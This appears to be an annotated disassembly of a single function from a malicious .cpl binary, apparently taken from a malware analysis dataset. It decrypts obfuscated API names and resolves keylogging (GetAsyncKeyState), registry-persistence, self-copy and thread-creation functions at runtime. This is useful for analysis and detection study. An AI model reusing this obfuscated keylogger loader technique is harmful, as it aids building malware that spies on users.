Function at 0x64343565
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
cmp dword [ebp + 8], 1
jne 0x64343783
cmp dword [ebp + 0xc], 0xffff
jne 0x64343783
mov dword [esp], str.kernel32
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [sym.a.cpl_kernel32], eax
mov dword [esp], 0x64366331
call sym.a.cpl_decrypt_char_
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [sym.a.cpl_user32dll], eax
mov dword [esp], 0x6436633c
call sym.a.cpl_decrypt_char_
mov edx, eax
mov eax, dword [sym.a.cpl_kernel32]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [sym.a.cpl_pGetModuleFileName], eax
mov dword [esp], 0x6436634f
call sym.a.cpl_decrypt_char_
mov edx, eax
mov eax, dword [sym.a.cpl_kernel32]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [sym.a.cpl_pCopyFile], eax
mov dword [esp], 0x64366359
call sym.a.cpl_decrypt_char_
mov edx, eax
mov eax, dword [sym.a.cpl_kernel32]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [sym.a.cpl_pCreateThread], eax
mov dword [esp], 0x64366366
call sym.a.cpl_decrypt_char_
mov ebx, eax
mov dword [esp], str.Advapi32
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [sym.a.cpl_R_egOpenKeyEx], eax
mov dword [esp], 0x6436637d
call sym.a.cpl_decrypt_char_
mov ebx, eax
mov dword [esp], str.Advapi32
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [sym.a.cpl_R_egQueryValueEx], eax
mov dword [esp], 0x6436638e
call sym.a.cpl_decrypt_char_
mov ebx, eax
mov dword [esp], str.Advapi32
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [sym.a.cpl_R_egCreateKey], eax
mov dword [esp], 0x6436639c
call sym.a.cpl_decrypt_char_
mov ebx, eax
mov dword [esp], str.Advapi32
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [sym.a.cpl_R_egSetValueEx], eax
mov dword [esp], 0x643663ab
call sym.a.cpl_decrypt_char_
mov edx, eax
mov eax, dword [sym.a.cpl_user32dll]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [sym.a.cpl_G_etAsyncKeyState], eax
mov dword [esp], 0x643663bc
call sym.a.cpl_decrypt_char_
mov edx, eax
mov eax, dword [sym.a.cpl_user32dll]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [sym.a.cpl_G_etKeyState], eax
mov dword [esp], str.crypt32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], str.CryptBinaryToStringA
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [sym.a.cpl_FnCryptBinaryToStringA], eax
mov ebx, dword [ebp - 4]
leave
ret